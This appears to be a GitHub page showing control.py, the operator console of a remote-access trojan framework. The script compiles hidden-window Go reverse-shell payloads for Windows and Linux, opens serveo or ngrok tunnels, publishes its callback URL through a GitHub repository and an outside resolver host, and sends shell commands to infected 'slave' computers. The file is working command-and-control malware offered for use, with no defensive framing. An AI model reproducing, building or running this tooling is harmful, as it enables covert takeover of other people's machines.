-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathcontrol.py
executable file
·538 lines (489 loc) · 18.5 KB
/
control.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
try:
import os
import sys
import threading
from time import sleep
from git import Repo
from termcolor import colored
import json
import subprocess
from datetime import date
import random
import string
from shutil import copy2
from pathlib import Path
from pyngrok import ngrok
except:
os.system("python3 -m pip install Gitpython")
os.system("python3 -m pip install termcolor")
os.system("python3 -m pip install pyngrok")
try:
from git import Repo
from termcolor import colored
from pyngrok import ngrok
except:
os.system("pip3 install Gitpython")
os.system("pip3 install termcolor")
os.system("pip3 install pyngrok")
from git import Repo
from termcolor import colored
from pyngrok import ngrok
print("Run me again! :)")
sys.exit()
repox = ""
urix = ""
comx = ""
ngrox = ""
def banner(lastupdate):
banner = f"""
(
\\
) ##########################################
##-------->>> #version >>> 0.1 (beta) #
) #last update >>> {lastupdate} #
/ #coded by script1337 #
( #github >>> https://github.com/script1337#
45hw477h4m4 >>> {{A King Above Ace}}
_.-"/______________________/////
`'-.\~~~~~~~~~~~~~~~~~~~~~~\\\\\\\\\\"""
return banner
if os.name == "nt":
homedir = str(Path.home())
else:
homedir = str(os.environ['HOME'])
def killx():
global urix, ngrox
printfc("stopping the server!", "red")
f = open("exit.asw", "w+")
f.close()
try:
ngrox.kill()
except:
pass
if os.name == "nt":
pass
else:
os.system("killall screen")
try:
os.remove("script1337.sh")
except:
pass
def linx():
if os.name == "nt":
linx = "\\"
else:
linx = "/"
return linx
def checks():
if os.path.exists(os.getcwd() + linx() + "data"):
pass
else:
os.makedirs("data")
def setup(repo, url):
if os.path.isdir(repo):
pass
else:
os.remove("config.json")
printfc("Repo not found!", "red")
killx()
sys.exit()
os.system("echo " + url + " > " + "." + linx() + repo + linx() + "urlx.txt")
repo = Repo('.' + linx() + repo) # if repo is CWD just do '.'
repo.index.add(['urlx.txt'])
repo.index.commit('45hw477h4m4:~# ')
origin = repo.remote('origin')
printfc("pushing new url ### ", "magenta")
try:
origin.push()
except:
printfc("Authentication failed!", "red")
# os.removedirs(str(repo))
# os.remove("config.json")
killx()
sys.exit()
def printfc(text, color):
if color == "red":
print(colored(text, 'red'))
if color == "green":
print(colored(text, 'green'))
if color == "yellow":
print(colored(text, 'yellow'))
if color == "cyan":
print(colored(text, 'cyan'))
if color == "magenta":
print(colored(text, 'magenta'))
def writex(username, contentx):
try:
with open(os.getcwd() + linx() + "data" + linx() + username + linx() + "recv.txt", "w+") as file:
file.write(contentx)
file.close()
except Exception as e:
if os.path.exists(os.getcwd() + linx() + "data" + linx() + username):
printfc("Something goes wrong ", "red")
printfc(e, "red")
else:
printfc("Slave " + username + " Not found!", "red")
def read():
while True:
try:
with open("response.txt", "r") as file:
data = file.read()
file.close()
response = data.replace("\n\n", "\n")
res = os.stat("response.txt")
if res.st_size == 0:
os.remove("response.txt")
elif data.replace(" ", "") == "":
continue
elif data.replace("\n", "") == "":
continue
else:
print("\n")
printfc(response, "cyan")
sleep(0.5)
os.remove("response.txt")
except:
pass
def checkbuildingconf():
global homedir
rev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "rev.go"
winrev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "winrev.go"
if "go version" in subprocess.check_output(["go", "version"]).decode():
checkgo = os.path.exists(str(homedir) + linx() + "go")
if checkgo:
checksrc = os.path.exists(str(homedir) + linx() + "go" + linx() + "src")
if checksrc:
revfile = os.path.isfile(rev)
winrevfile = os.path.isfile(winrev)
if revfile and winrevfile:
printfc("Everythink looking good", "green")
return True
else:
copy2("." + linx() + "source" + linx() + "rev.go",
homedir + linx() + "go" + linx() + "src" + linx() + "rev")
copy2("." + linx() + "source" + linx() + "winrev.go",
homedir + linx() + "go" + linx() + "src" + linx() + "rev")
return True
else:
os.makedirs(str(homedir) + linx() + "go" + linx() + "src")
return True
else:
printfc("Failed to build", "red")
printfc("Go path is not set!", "red")
return False
else:
printfc("please install go!", "red")
printfc("Go is not installed!", "red")
return False
def rawtogit(s):
str1 = ""
z = 1
for ele in s:
if z >= 4:
str1 += "/" + ele
else:
str1 += ele
z = z + 1
return str1
def animation():
global comx
printfc("Compiling:", "cyan")
animation = ["[■□□□□□□□□□]", "[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]",
"[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
for i in range(len(animation)):
sleep(0.2)
sys.stdout.write(colored("\r" + animation[i % len(animation)], 'red'))
sys.stdout.flush()
if comx != "":
printfc("\n" + comx, "red")
sys.exit()
def callanimation():
the_process = threading.Thread(target=animation)
the_process.start()
return the_process
def writeonrev(option):
global repo, homedir, repox
line_to_replace = 44
if repox == "":
git = repo.replace("https://github.com", "https://raw.githubusercontent.com").split("/")
else:
git = repox.replace("https://github.com", "https://raw.githubusercontent.com").split("/")
git[1] = "//"
if rawtogit(git).endswith(".git"):
rawgit = "http://rawgitsuck.tk/raw?git=" + rawtogit(git)[:-4] + "/master/urlx.txt"
else:
rawgit = "http://rawgitsuck.tk/raw?git=" + rawtogit(git) + "/master/urlx.txt"
text = """\turlx, _ := reciver(string("{rawgit}"))""".format(rawgit=rawgit)
printfc("###UrL Resolver set to >>> " + str(rawgit), "green")
if option == 3 or option == 4:
rev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "rev.go"
else:
rev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "winrev.go"
with open(rev, 'r') as file:
lines = file.readlines()
if len(lines) > int(line_to_replace):
lines[line_to_replace] = text + '\n'
with open(rev, 'w') as file:
file.writelines(lines)
def builder():
global comx, homedir
rev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "rev.go"
winrev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "winrev.go"
if checkbuildingconf():
printfc("###Select os and arch >>> ", "green")
printfc("#1.Windows 64", "cyan")
printfc("#2.Windows 32", "cyan")
printfc("#3.linux 64", "cyan")
printfc("#4.linux 32", "cyan")
print(colored("#app::builder> ", 'yellow'), end="")
try:
options = int(input(""))
except:
pass
if os.name == "nt":
win = True
else:
win = False
try:
writeonrev(options)
if options == 1:
printfc("###Start compiling the payload >>> ", "yellow")
com = callanimation()
if win:
subprocess.call(
'powershell.exe $Env:GOOS = \\"windows\\"; $Env:GOARCH = \\"amd64\\"; go build -ldflags \\"-s -w\\" -ldflags -H=windowsgui -o revW64.exe "' + winrev,
shell=True)
else:
os.system(
"env GOOS=windows GOARCH=amd64 go build -ldflags \"-s -w\" -ldflags -H=windowsgui -o revW64.exe " + winrev)
comx = "Build successfull >>> {rev}".format(rev=os.getcwd() + linx() + "revW64.exe")
com.join()
elif options == 2:
printfc("###Start compiling the payload >>> ", "yellow")
com = callanimation()
if win:
subprocess.call(
'powershell.exe $Env:GOOS = \\"windows\\"; $Env:GOARCH = \\"386\\"; go build -ldflags \\"-s -w\\" -ldflags -H=windowsgui -o revW32.exe "' + winrev,
shell=True)
else:
os.system(
"env GOOS=windows GOARCH=386 go build -ldflags \"-s -w\" -ldflags -H=windowsgui -o revW32.exe " + winrev)
comx = "Build successfull >>> {rev}".format(rev=os.getcwd() + linx() + "revW32.exe")
com.join()
elif options == 3:
printfc("###Start compiling the payload >>> ", "yellow")
com = callanimation()
if win:
subprocess.call(
'powershell.exe $Env:GOOS = \\"linux\\"; $Env:GOARCH = \\"amd64\\"; go build -ldflags \\"-s -w\\" -o revL64 "' + rev,
shell=True)
else:
os.system("env GOOS=linux GOARCH=amd64 go build -ldflags \"-s -w\" -o revL64 " + rev)
comx = "Build successfull >>> {rev}".format(rev=os.getcwd() + linx() + "revL64")
com.join()
elif options == 4:
printfc("###Start compiling the payload >>> ", "yellow")
com = callanimation()
if win:
subprocess.call(
'powershell.exe $Env:GOOS = \\"linux\\"; $Env:GOARCH = \\"386\\"; go build -ldflags \\"-s -w\\" -o revL32 "' + rev,
shell=True)
else:
os.system("env GOOS=linux GOARCH=386 go build -ldflags \"-s -w\" -o revL32 " + rev)
comx = "Build successfull >>> {rev}".format(rev=os.getcwd() + linx() + "revL32")
com.join()
else:
printfc("Please select a valid option", "red")
except:
printfc("Please select a valid option", "red")
else:
pass
def helper():
help = """
{{
####Configration>>>
app::build {{ ###build payload >>> }}
app::config {{ ###Change github repo and reconfigure >>> }}
app::quit {{ ###quit >>> }}
app::slave {{ ###to see all slave computers >>> }}
####remote command>>>
username::command {{ ###run command on slave computer
example {{
script::ls -la
}}
}}
}}
"""
printfc(help, "red")
def sendcommand():
global urix
while True:
print(colored("45hw477h4m4:~# ", 'yellow'), end="")
xenz = input("")
try:
command = xenz.split("::")
except:
continue
if xenz == "":
continue
elif xenz.startswith("!"):
os.system(xenz.split("!")[1])
continue
if command[0] == "app":
try:
if command[1] == "slave":
try:
with open(os.getcwd() + linx() + "data" + linx() + "users.txt") as user:
printfc("Active slaves >>> ", "cyan")
printfc(user.read(), "cyan")
user.close()
except:
printfc("No slaves are found!", "red")
elif command[1] == "quit":
printfc("\ngoodbye", "red")
killx()
sys.exit()
elif command[1] == "build":
builder()
elif command[1] == "help":
helper()
elif command[1] == "config":
printfc("removing old config.json", "red")
try:
rev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "rev.go"
winrev = homedir + linx() + "go" + linx() + "src" + linx() + "rev" + linx() + "winrev.go"
os.remove("config.json")
os.remove(rev)
os.remove(winrev)
except:
pass
if setconfig():
printfc("Config generated successfully!", "green")
with open("config.json", "r") as config:
confx = json.loads(config.read())
repox = confx["repo"]
config.close()
setup(repox.split("/")[4], urix)
except:
continue
else:
try:
writex(command[0], command[1])
except:
printfc("something goes Wrong", "red")
printfc("{ example >>> \n \tscript::ls -la \n \tapp::quit\n \t!ls -la\n}", "green")
def setconfig():
global repox
printfc("Running Setup ### ", "yellow")
datex = str(date.today())
printfc("Enter your repo url ###", "yellow")
repourl = input("# ")
try:
repo = repourl.split("/")
except:
printfc("#Enter a git repo url ###", "red")
killx()
sys.exit()
try:
if os.name == "nt":
subprocess.run('RD /S /Q ' + repo[4], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
else:
os.system("rm -rf " + repo[4])
printfc("old repo get removed", "yellow")
except Exception as e:
print(e)
printfc("Trying to Cloning git repo ###", "magenta")
try:
Repo.clone_from(repourl, os.getcwd() + linx() + repo[4])
except Exception as ex:
e = str(ex)
if "does not exist" in e:
printfc("repository does not exist", "red")
killx()
sys.exit()
else:
printfc(e, "red")
config = """
{
"repo": \"""" + repourl + """\",
"lastupdate": \"""" + datex + """\"
}
"""
with open("config.json", "w+") as configx:
configx.write(str(config))
configx.close()
repox = repourl
return True
def randomString(stringLength=32):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
def createtunnel():
global urix
domain = str(randomString(32))
urix = "https://" + domain + ".serveousercontent.com"
if os.name == "nt":
os.system("start /min ssh -R " + domain + ":80:127.0.0.1:5000 serveo.net &")
else:
os.system("echo 'ssh -R " + domain + ":80:localhost:5000 serveo.net' > script1337.sh")
os.system("chmod +x script1337.sh")
os.system("screen -d -m bash script1337.sh")
def startserver():
try:
os.remove("exit.asw")
except:
pass
if os.name == "nt":
os.system("start /min python3 server.py &")
else:
os.system("nohup python3 server.py >/dev/null 2>&1 &")
if __name__ == '__main__':
if os.name == "nt":
os.system('color')
printfc("Starting the server!", "green")
printfc("Creating tunnel using ###", "green")
printfc("#1.serveo tunnel ###", "green")
printfc("#2.ngrok tunnel ###", "green")
print(colored("app::tunneling:~# ", 'yellow'), end="")
ngse = input("")
if ngse == str("1"):
createtunnel()
elif ngse == str("2"):
urix = ngrok.connect(port='5000', proto='http')
else:
printfc("###Please select a valid option ###", "red")
sys.exit()
startserver()
repo = ""
try:
try:
with open("config.json", "r") as config:
conf = json.loads(config.read())
# print(conf)
repo = conf["repo"]
lastupdate = conf["lastupdate"]
config.close()
printfc(banner(lastupdate), "cyan")
printfc("public_url >>> " + urix, "green")
except FileNotFoundError:
printfc(banner(str(date.today())), "cyan")
if setconfig():
printfc("Config generated successfully!", "green")
printfc("public_url >>> " + urix, "green")
checks()
try:
setup(repo.split("/")[4], urix)
except:
try:
setup(repox.split("/")[4], urix)
except Exception as e:
printfc("Run me again!", "yellow")
sys.exit()
tr = threading.Thread(target=read)
tr.daemon = True
tr.start()
printfc("###run app::help to see all options >>>", "magenta")
sendcommand()
except KeyboardInterrupt:
printfc("\ngoodbye", "red")
killx()
sys.exit()